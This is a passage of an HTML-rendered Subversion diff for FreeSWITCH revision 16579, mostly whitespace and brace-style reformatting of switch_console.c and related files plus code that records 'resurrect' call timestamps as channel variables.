</span><span class="cx">         } else {
</span><span class="lines">@@ -2787,6 +2860,12 @@
</span><span class="cx">                         switch_channel_set_variable(channel, &quot;answer_stamp&quot;, answer);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><ins>+                if (caller_profile-&gt;times-&gt;resurrected) {
+                        switch_time_exp_lt(&amp;tm, caller_profile-&gt;times-&gt;resurrected);
+                        switch_strftime_nocheck(answer, &amp;retsize, sizeof(resurrect), fmt, &amp;tm);
+                        switch_channel_set_variable(channel, &quot;resurrect_stamp&quot;, resurrect);
+                }
+
</ins><span class="cx">                 if (caller_profile-&gt;times-&gt;progress) {
</span><span class="cx">                         switch_time_exp_lt(&amp;tm, caller_profile-&gt;times-&gt;progress);
</span><span class="cx">                         switch_strftime_nocheck(progress, &amp;retsize, sizeof(progress), fmt, &amp;tm);
</span><span class="lines">@@ -2824,6 +2903,13 @@
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;answered);
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;answer_uepoch&quot;, tmp);
</span><span class="cx"> 
</span><ins>+                tt_resurrected = (time_t) (caller_profile-&gt;times-&gt;resurrected / 1000000);
+                mtt_resurrected = (time_t) (caller_profile-&gt;times-&gt;resurrected / 1000);
+                switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; TIME_T_FMT, tt_resurrected);
+                switch_channel_set_variable(channel, &quot;resurrect_epoch&quot;, tmp);
+                switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; SWITCH_TIME_T_FMT, caller_profile-&gt;times-&gt;resurrected);
+                switch_channel_set_variable(channel, &quot;resurrect_uepoch&quot;, tmp);
+
</ins><span class="cx">                 tt_progress = (time_t) (caller_profile-&gt;times-&gt;progress / 1000000);
</span><span class="cx">                 mtt_progress = (time_t) (caller_profile-&gt;times-&gt;progress / 1000);
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; TIME_T_FMT, tt_progress);
</span><span class="lines">@@ -2913,7 +2999,7 @@
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, answermsec);
</span><span class="cx">         switch_channel_set_variable(channel, &quot;answermsec&quot;, tmp);
</span><span class="cx"> 
</span><del>-        switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot; , progressmsec);
</del><ins>+        switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, progressmsec);
</ins><span class="cx">         switch_channel_set_variable(channel, &quot;progress_mediamsec&quot;, tmp);
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, legbillmsec);
</span><span class="lines">@@ -2936,7 +3022,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(tmp, sizeof(tmp), &quot;%&quot; SWITCH_TIME_T_FMT, legbillusec);
</span><span class="cx">         switch_channel_set_variable(channel, &quot;flow_billusec&quot;, tmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(channel-&gt;profile_mutex);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_configc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_config.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_config.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_config.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_consolec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_console.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_console.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_console.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx"> #define KEY_INSERT 8
</span><span class="cx"> #define PROMPT_OP 9
</span><span class="cx"> 
</span><del>-static int console_bufferInput (char* buf, int len, char *cmd, int key);
</del><ins>+static int console_bufferInput(char *buf, int len, char *cmd, int key);
</ins><span class="cx"> #endif
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -123,7 +123,7 @@
</span><span class="cx"> SWITCH_DECLARE_NONSTD(switch_status_t) switch_console_stream_raw_write(switch_stream_handle_t *handle, uint8_t *data, switch_size_t datalen)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t need = handle-&gt;data_len + datalen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (need &gt;= handle-&gt;data_size) {
</span><span class="cx">                 void *new_data;
</span><span class="cx">                 need += handle-&gt;alloc_chunk;
</span><span class="lines">@@ -139,7 +139,7 @@
</span><span class="cx">         memcpy((uint8_t *) (handle-&gt;data) + handle-&gt;data_len, data, datalen);
</span><span class="cx">         handle-&gt;data_len += datalen;
</span><span class="cx">         handle-&gt;end = (uint8_t *) (handle-&gt;data) + handle-&gt;data_len;
</span><del>-        *(uint8_t *)handle-&gt;end = '\0';
</del><ins>+        *(uint8_t *) handle-&gt;end = '\0';
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -205,12 +205,12 @@
</span><span class="cx">         char *dpath = NULL;
</span><span class="cx">         int fd;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_is_file_path(path)) {
</span><span class="cx">                 dpath = switch_mprintf(&quot;%s%s%s&quot;, SWITCH_GLOBAL_dirs.conf_dir, SWITCH_PATH_SEPARATOR, path);
</span><span class="cx">                 path = dpath;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((fd = open(path, O_RDONLY)) &gt; -1) {
</span><span class="cx">                 char buf[2048] = { 0 };
</span><span class="cx">                 while (switch_fd_read_line(fd, buf, sizeof(buf))) {
</span><span class="lines">@@ -219,7 +219,7 @@
</span><span class="cx">                 close(fd);
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(dpath);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -296,11 +296,12 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static int switch_console_process(char *xcmd) {
</del><ins>+static int switch_console_process(char *xcmd)
+{
</ins><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         FILE *handle = switch_core_get_console();
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">         switch_assert(stream.data);
</span><span class="cx"> 
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx"> 
</span><span class="cx">         return 1;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -338,7 +339,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rec &gt; 100) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Too much recursion!\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -369,10 +370,10 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-                status = switch_api_execute(cmd, arg, NULL, istream);                
</del><ins>+                status = switch_api_execute(cmd, arg, NULL, istream);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(dup);
</span><span class="cx"> 
</span><span class="lines">@@ -453,24 +454,31 @@
</span><span class="cx">         char *target = NULL, *str = NULL, *cur = NULL;
</span><span class="cx">         switch_size_t x, y, i;
</span><span class="cx"> 
</span><del>-        
-        if (argc &gt; 0) target = argv[0];
-        if (argc &gt; 1) str = argv[1];
-        if (argc &gt; 2) cur = argv[2];
</del><span class="cx"> 
</span><ins>+        if (argc &gt; 0)
+                target = argv[0];
+        if (argc &gt; 1)
+                str = argv[1];
+        if (argc &gt; 2)
+                cur = argv[2];
+
</ins><span class="cx">         if (cur) {
</span><del>-                while (*cur == ' ') cur++;
</del><ins>+                while (*cur == ' ')
+                        cur++;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (zstr(cur)) cur = NULL;
-        if (zstr(str)) str = NULL;
</del><ins>+        if (zstr(cur))
+                cur = NULL;
+        if (zstr(str))
+                str = NULL;
</ins><span class="cx"> 
</span><span class="cx">         if (!target) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!zstr(target) &amp;&amp; *target == ':' &amp;&amp; *(target+1) == ':') {
-                char *r_argv[1] = { 0 }, *r_cols[1] = { 0 };
</del><ins>+        if (!zstr(target) &amp;&amp; *target == ':' &amp;&amp; *(target + 1) == ':') {
+                char *r_argv[1] = { 0 }, *r_cols[1] = {
+                0};
</ins><span class="cx">                 switch_console_callback_match_t *matches;
</span><span class="cx">                 if (switch_console_run_complete_func(target, str, cur, &amp;matches) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_console_callback_match_node_t *m;
</span><span class="lines">@@ -499,17 +507,17 @@
</span><span class="cx">                 switch_copy_string(h-&gt;last, target, sizeof(h-&gt;last));
</span><span class="cx">                 h-&gt;hits++;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         x = strlen(h-&gt;last);
</span><span class="cx">         y = strlen(h-&gt;partial);
</span><span class="cx"> 
</span><span class="cx">         if (h-&gt;hits &gt; 1) {
</span><del>-                for(i = 0; i &lt; x &amp;&amp; i &lt; y; i++) {
</del><ins>+                for (i = 0; i &lt; x &amp;&amp; i &lt; y; i++) {
</ins><span class="cx">                         if (h-&gt;last[i] != h-&gt;partial[i]) {
</span><span class="cx">                                 h-&gt;partial[i] = '\0';
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><del>-                }        
</del><ins>+                }
</ins><span class="cx">         } else if (h-&gt;hits == 1) {
</span><span class="cx">                 switch_copy_string(h-&gt;partial, target, sizeof(h-&gt;last));
</span><span class="cx">         }
</span><span class="lines">@@ -554,15 +562,14 @@
</span><span class="cx">         switch_cache_db_handle_t *db = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         char *errmsg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_db_handle(&amp;db);
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(cursor)) {
</span><del>-                sql = switch_mprintf(&quot;select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;select distinct uuid from channels where uuid like '%q%%' and hostname='%q' order by uuid&quot;,
</ins><span class="cx">                                                          cursor, switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">         } else {
</span><del>-                sql = switch_mprintf(&quot;select distinct uuid from channels where hostname='%q' order by uuid&quot;, 
-                                                         switch_core_get_variable(&quot;hostname&quot;));
</del><ins>+                sql = switch_mprintf(&quot;select distinct uuid from channels where hostname='%q' order by uuid&quot;, switch_core_get_variable(&quot;hostname&quot;));
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_cache_db_execute_sql_callback(db, sql, uuid_callback, &amp;h, &amp;errmsg);
</span><span class="lines">@@ -580,7 +587,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE *console_out, 
</del><ins>+SWITCH_DECLARE(unsigned char) switch_console_complete(const char *line, const char *cursor, FILE * console_out,
</ins><span class="cx">                                                                                                           switch_stream_handle_t *stream, switch_xml_t xml)
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_handle_t *db = NULL;
</span><span class="lines">@@ -593,7 +600,7 @@
</span><span class="cx">         unsigned char ret = CC_REDISPLAY;
</span><span class="cx">         int pos = 0;
</span><span class="cx">         int sc = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifndef SWITCH_HAVE_LIBEDIT
</span><span class="cx"> #ifndef _MSC_VER
</span><span class="cx">         if (!stream) {
</span><span class="lines">@@ -603,11 +610,11 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         switch_core_db_handle(&amp;db);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(cursor) &amp;&amp; !zstr(line)) {
</span><span class="cx">                 pos = (cursor - line);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         h.out = console_out;
</span><span class="cx">         h.stream = stream;
</span><span class="cx">         h.xml = xml;
</span><span class="lines">@@ -631,11 +638,11 @@
</span><span class="cx">                         el_deletestr(el, sc);
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         sc = 0;
</span><span class="cx">         p = end_of_p(buf);
</span><del>-        while(p &gt;= buf &amp;&amp; *p == ' ') {
</del><ins>+        while (p &gt;= buf &amp;&amp; *p == ' ') {
</ins><span class="cx">                 sc++;
</span><span class="cx">                 p--;
</span><span class="cx">         }
</span><span class="lines">@@ -653,17 +660,19 @@
</span><span class="cx">                 if (*p == ' ') {
</span><span class="cx">                         lp = p;
</span><span class="cx">                         h.words++;
</span><del>-                        while(*p == ' ') p++;
-                        if (!*p) break;
</del><ins>+                        while (*p == ' ')
+                                p++;
+                        if (!*p)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (lp) {
</span><span class="cx">                 buf = lp + 1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         h.len = strlen(buf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (h.out) {
</span><span class="cx">                 fprintf(h.out, &quot;\n\n&quot;);
</span><span class="cx">         }
</span><span class="lines">@@ -675,10 +684,10 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (h.words == 0) {
</span><del>-                sql = switch_mprintf(&quot;select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name&quot;, 
</del><ins>+                sql = switch_mprintf(&quot;select distinct name from interfaces where type='api' and name like '%q%%' and hostname='%q' order by name&quot;,
</ins><span class="cx">                                                          buf, switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sql) {
</span><span class="cx">                 switch_cache_db_execute_sql_callback(db, sql, comp_callback, &amp;h, &amp;errmsg);
</span><span class="cx"> 
</span><span class="lines">@@ -703,7 +712,7 @@
</span><span class="cx">                 argc = switch_separate_string(dupdup, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx"> 
</span><span class="cx">                 if (h.words == 0) {
</span><del>-                        stream.write_function(&amp;stream, &quot;select distinct a1 from complete where &quot; &quot;a1 not in (select name from interfaces where hostname='%s') %s &quot;, 
</del><ins>+                        stream.write_function(&amp;stream, &quot;select distinct a1 from complete where &quot; &quot;a1 not in (select name from interfaces where hostname='%s') %s &quot;,
</ins><span class="cx">                                                                   switch_core_get_variable(&quot;hostname&quot;), argc ? &quot;and&quot; : &quot;&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         if (db-&gt;type == SCDB_TYPE_CORE_DB) {
</span><span class="lines">@@ -716,10 +725,10 @@
</span><span class="cx">                 for (x = 0; x &lt; argc &amp;&amp; x &lt; 11; x++) {
</span><span class="cx">                         if (h.words + 1 &gt; argc) {
</span><span class="cx">                                 if (db-&gt;type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        stream.write_function(&amp;stream, &quot;(a%d like '::%%' or a%d = '' or a%d = '%q')%q&quot;, 
</del><ins>+                                        stream.write_function(&amp;stream, &quot;(a%d like '::%%' or a%d = '' or a%d = '%q')%q&quot;,
</ins><span class="cx">                                                                                   x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? &quot;&quot; : &quot; and &quot;);
</span><span class="cx">                                 } else {
</span><del>-                                        stream.write_function(&amp;stream, &quot;(a%d like '::%%' or a%d = '' or a%d = '%w')%w&quot;, 
</del><ins>+                                        stream.write_function(&amp;stream, &quot;(a%d like '::%%' or a%d = '' or a%d = '%w')%w&quot;,
</ins><span class="cx">                                                                                   x + 1, x + 1, x + 1, switch_str_nil(argv[x]), x == argc - 1 ? &quot;&quot; : &quot; and &quot;);
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="lines">@@ -735,7 +744,7 @@
</span><span class="cx"> 
</span><span class="cx">                 stream.write_function(&amp;stream, &quot; and hostname='%s'&quot;, switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                 switch_cache_db_execute_sql_callback(db, stream.data, comp_callback, &amp;h, &amp;errmsg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (errmsg) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;error [%s][%s]\n&quot;, (char *) stream.data, errmsg);
</span><span class="cx">                         free(errmsg);
</span><span class="lines">@@ -761,22 +770,21 @@
</span><span class="cx">                 } else if (h.hits &gt; 1 &amp;&amp; !zstr(h.partial)) {
</span><span class="cx">                         h.stream-&gt;write_function(h.stream, &quot;write=%d:%s&quot;, h.len, h.partial);
</span><span class="cx">                 }
</span><del>-        } 
-        
</del><ins>+        }
+
</ins><span class="cx">         if (h.xml) {
</span><span class="cx">                 switch_xml_t x_write = switch_xml_add_child_d(h.xml, &quot;write&quot;, h.xml_off++);
</span><span class="cx">                 char buf[32];
</span><del>-                
</del><ins>+
</ins><span class="cx">                 snprintf(buf, sizeof(buf), &quot;%d&quot;, h.len);
</span><span class="cx">                 switch_xml_set_attr_d_buf(x_write, &quot;length&quot;, buf);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (h.hits == 1 &amp;&amp; !zstr(h.last)) {
</span><span class="cx">                         switch_xml_set_txt_d(x_write, h.last);
</span><span class="cx">                 } else if (h.hits &gt; 1 &amp;&amp; !zstr(h.partial)) {
</span><span class="cx">                         switch_xml_set_txt_d(x_write, h.partial);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_HAVE_LIBEDIT
</span><span class="cx">         if (h.out) {
</span><span class="cx">                 if (h.hits == 1 &amp;&amp; !zstr(h.last)) {
</span><span class="lines">@@ -792,14 +800,14 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">         if (h.out) {
</span><span class="cx">                 if (h.hits == 1 &amp;&amp; !zstr(h.last)) {
</span><del>-                        console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
-                        console_bufferInput(h.last, (int)strlen(h.last), (char*)line, 0);
-                        console_bufferInput(&quot; &quot;, 1, (char*)line, 0);
</del><ins>+                        console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+                        console_bufferInput(h.last, (int) strlen(h.last), (char *) line, 0);
+                        console_bufferInput(&quot; &quot;, 1, (char *) line, 0);
</ins><span class="cx">                 } else if (h.hits &gt; 1 &amp;&amp; !zstr(h.partial)) {
</span><del>-                        console_bufferInput(0, h.len, (char*)line, DELETE_REFRESH_OP);
-                        console_bufferInput(h.partial, (int)strlen(h.partial), (char*)line, 0);
</del><ins>+                        console_bufferInput(0, h.len, (char *) line, DELETE_REFRESH_OP);
+                        console_bufferInput(h.partial, (int) strlen(h.partial), (char *) line, 0);
</ins><span class="cx">                 } else {
</span><del>-                        console_bufferInput(0, 0, (char*)line, DELETE_REFRESH_OP);
</del><ins>+                        console_bufferInput(0, 0, (char *) line, DELETE_REFRESH_OP);
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -931,7 +939,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;We've become an orphan, no more console for us.\n&quot;);
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_ctl(SCSC_CHECK_RUNNING, &amp;arg);
</span><span class="cx">                 if (!arg) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1071,11 +1079,11 @@
</span><span class="cx"> #else
</span><span class="cx"> 
</span><span class="cx"> #ifdef _MSC_VER
</span><del>-char history[HISTLEN][CMD_BUFLEN+1];
</del><ins>+char history[HISTLEN][CMD_BUFLEN + 1];
</ins><span class="cx"> int iHistory = 0;
</span><span class="cx"> int iHistorySel = 0;
</span><span class="cx"> 
</span><del>-static int console_history (char *cmd, int direction)
</del><ins>+static int console_history(char *cmd, int direction)
</ins><span class="cx"> {
</span><span class="cx">         int i;
</span><span class="cx">         static int first;
</span><span class="lines">@@ -1083,26 +1091,22 @@
</span><span class="cx">         if (direction == 0) {
</span><span class="cx">                 first = 1;
</span><span class="cx">                 if (iHistory &lt; HISTLEN) {
</span><del>-                        if (iHistory &amp;&amp; strcmp(history[iHistory-1], cmd)) {
</del><ins>+                        if (iHistory &amp;&amp; strcmp(history[iHistory - 1], cmd)) {
</ins><span class="cx">                                 iHistorySel = iHistory;
</span><span class="cx">                                 strcpy(history[iHistory++], cmd);
</span><del>-                        }
-                        else if (iHistory == 0) {
</del><ins>+                        } else if (iHistory == 0) {
</ins><span class="cx">                                 iHistorySel = iHistory;
</span><span class="cx">                                 strcpy(history[iHistory++], cmd);
</span><span class="cx">                         }
</span><del>-                }
-                else {
-                        iHistory = HISTLEN-1;
-                        for (i = 0; i &lt; HISTLEN-1; i++)
-                        {
-                                strcpy(history[i], history[i+1]);
</del><ins>+                } else {
+                        iHistory = HISTLEN - 1;
+                        for (i = 0; i &lt; HISTLEN - 1; i++) {
+                                strcpy(history[i], history[i + 1]);
</ins><span class="cx">                         }
</span><span class="cx">                         iHistorySel = iHistory;
</span><span class="cx">                         strcpy(history[iHistory++], cmd);
</span><span class="cx">                 }
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 if (!first) {
</span><span class="cx">                         iHistorySel += direction;
</span><span class="cx">                 }
</span><span class="lines">@@ -1111,22 +1115,22 @@
</span><span class="cx">                         iHistorySel = 0;
</span><span class="cx">                 }
</span><span class="cx">                 if (iHistory &amp;&amp; iHistorySel &gt;= iHistory) {
</span><del>-                        iHistorySel = iHistory-1;
</del><ins>+                        iHistorySel = iHistory - 1;
</ins><span class="cx">                 }
</span><span class="cx">                 strcpy(cmd, history[iHistorySel]);
</span><span class="cx">         }
</span><span class="cx">         return (SWITCH_STATUS_SUCCESS);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static int console_bufferInput (char* addchars, int len, char *cmd, int key)
</del><ins>+static int console_bufferInput(char *addchars, int len, char *cmd, int key)
</ins><span class="cx"> {
</span><del>-    static int iCmdBuffer = 0;
</del><ins>+        static int iCmdBuffer = 0;
</ins><span class="cx">         static int iCmdCursor = 0;
</span><del>-    static int ignoreNext = 0;
</del><ins>+        static int ignoreNext = 0;
</ins><span class="cx">         static int insertMode = 1;
</span><span class="cx">         static COORD orgPosition;
</span><del>-        static char prompt [80];
-    int iBuf;
</del><ins>+        static char prompt[80];
+        int iBuf;
</ins><span class="cx">         int i;
</span><span class="cx"> 
</span><span class="cx">         HANDLE hOut;
</span><span class="lines">@@ -1147,12 +1151,12 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (key == KEY_TAB) {
</span><del>-                switch_console_complete(cmd, cmd+iCmdBuffer, switch_core_get_console(), NULL, NULL);
</del><ins>+                switch_console_complete(cmd, cmd + iCmdBuffer, switch_core_get_console(), NULL, NULL);
</ins><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx">         if (key == KEY_UP || key == KEY_DOWN || key == CLEAR_OP) {
</span><span class="cx">                 SetConsoleCursorPosition(hOut, orgPosition);
</span><del>-                for (i = 0; i &lt; (int)strlen(cmd); i++) {
</del><ins>+                for (i = 0; i &lt; (int) strlen(cmd); i++) {
</ins><span class="cx">                         printf(&quot; &quot;);
</span><span class="cx">                 }
</span><span class="cx">                 SetConsoleCursorPosition(hOut, orgPosition);
</span><span class="lines">@@ -1161,11 +1165,11 @@
</span><span class="cx">                 memset(cmd, 0, CMD_BUFLEN);
</span><span class="cx">         }
</span><span class="cx">         if (key == DELETE_REFRESH_OP) {
</span><del>-                int l = len &lt; (int)strlen(cmd) ? len : (int)strlen(cmd);
</del><ins>+                int l = len &lt; (int) strlen(cmd) ? len : (int) strlen(cmd);
</ins><span class="cx">                 for (i = 0; i &lt; l; i++) {
</span><span class="cx">                         cmd[--iCmdBuffer] = 0;
</span><span class="cx">                 }
</span><del>-                iCmdCursor = (int)strlen(cmd);
</del><ins>+                iCmdCursor = (int) strlen(cmd);
</ins><span class="cx">                 printf(&quot;%s&quot;, prompt);
</span><span class="cx">                 GetConsoleScreenBufferInfo(hOut, &amp;info);
</span><span class="cx">                 orgPosition = info.dwCursorPosition;
</span><span class="lines">@@ -1177,9 +1181,8 @@
</span><span class="cx">                 if (iCmdCursor) {
</span><span class="cx">                         if (position.X == 0) {
</span><span class="cx">                                 position.Y -= 1;
</span><del>-                                position.X = info.dwSize.X-1;
-                        }
-                        else {
</del><ins>+                                position.X = info.dwSize.X - 1;
+                        } else {
</ins><span class="cx">                                 position.X -= 1;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1188,12 +1191,11 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         if (key == KEY_RIGHT) {
</span><del>-                if (iCmdCursor &lt; (int)strlen(cmd)) {
-                        if (position.X == info.dwSize.X-1) {
</del><ins>+                if (iCmdCursor &lt; (int) strlen(cmd)) {
+                        if (position.X == info.dwSize.X - 1) {
</ins><span class="cx">                                 position.Y += 1;
</span><span class="cx">                                 position.X = 0;
</span><del>-                        }
-                        else {
</del><ins>+                        } else {
</ins><span class="cx">                                 position.X += 1;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1204,149 +1206,143 @@
</span><span class="cx">         if (key == KEY_INSERT) {
</span><span class="cx">                 insertMode = !insertMode;
</span><span class="cx">         }
</span><del>-    for (iBuf = 0; iBuf &lt; len; iBuf++) {
</del><ins>+        for (iBuf = 0; iBuf &lt; len; iBuf++) {
</ins><span class="cx">                 switch (addchars[iBuf]) {
</span><del>-                        case '\r':
-                        case '\n':
-                                if (ignoreNext) {
-                                        ignoreNext = 0;
</del><ins>+                case '\r':
+                case '\n':
+                        if (ignoreNext) {
+                                ignoreNext = 0;
+                        } else {
+                                int ret = iCmdBuffer;
+                                if (iCmdBuffer == 0) {
+                                        strcpy(cmd, &quot;Empty&quot;);
+                                        ret = (int) strlen(cmd);
+                                } else {
+                                        console_history(cmd, 0);
+                                        cmd[iCmdBuffer] = 0;
</ins><span class="cx">                                 }
</span><del>-                                else {
-                                        int ret = iCmdBuffer;
-                                        if (iCmdBuffer == 0) {
-                                                strcpy(cmd, &quot;Empty&quot;);
-                                                ret = (int)strlen(cmd);
-                                        }
-                                        else {
-                                                console_history(cmd, 0);
-                                                cmd[iCmdBuffer] = 0;
-                                        }
-                                        iCmdBuffer = 0;
-                                        iCmdCursor = 0;
-                                        printf(&quot;\n&quot;);
-                                        return (ret);
</del><ins>+                                iCmdBuffer = 0;
+                                iCmdCursor = 0;
+                                printf(&quot;\n&quot;);
+                                return (ret);
+                        }
+                        break;
+                case '\b':
+                        if (iCmdCursor) {
+                                if (position.X == 0) {
+                                        position.Y -= 1;
+                                        position.X = info.dwSize.X - 1;
+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        position.X -= 1;
+                                        SetConsoleCursorPosition(hOut, position);
</ins><span class="cx">                                 }
</span><del>-                                break;
-                        case '\b':
-                                if (iCmdCursor) {
-                                        if (position.X == 0) {
-                                                position.Y -= 1;
-                                                position.X = info.dwSize.X-1;
-                                                SetConsoleCursorPosition(hOut, position);
</del><ins>+                                printf(&quot; &quot;);
+                                if (iCmdCursor &lt; iCmdBuffer) {
+                                        int pos;
+                                        iCmdCursor--;
+                                        for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
+                                                cmd[pos] = cmd[pos + 1];
</ins><span class="cx">                                         }
</span><del>-                                        else {
-                                                position.X -= 1;
-                                                SetConsoleCursorPosition(hOut, position);
